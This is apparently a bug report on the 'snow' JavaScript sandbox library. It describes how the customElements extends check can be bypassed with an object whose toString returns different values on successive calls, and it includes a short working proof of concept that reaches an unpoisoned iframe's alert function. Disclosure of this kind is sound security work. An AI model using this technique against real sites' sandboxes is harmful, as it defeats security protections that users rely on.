snow
snow copied to clipboard
customElements extends check can be bypassed using a non-string
The code for checking if the extended element is framable doesn't make sure that the value is a string (alternatively; that the value checked is the same value that is forwarded):
const extend = options.extends;
if (isTagFramable(extend+'')) {
We can use a class that will return different toString
return values to bypass the check (return "non-frame" first time, return frame second+ time). We can then use connectedCallback
to get hold of the alert function from the extended iframe before its "poisoned":
class a extends HTMLIFrameElement {
constructor() {
super();
}
connectedCallback() {
this.contentWindow.alert(1);
}
}
customElements.define(`x-foo`, a, {extends: new class b{fetched=false;toString=e=>{return this.fetched?'iframe':this.fetched=true}}});
document.documentElement.innerHTML += `<iframe is="x-foo"></iframe>`;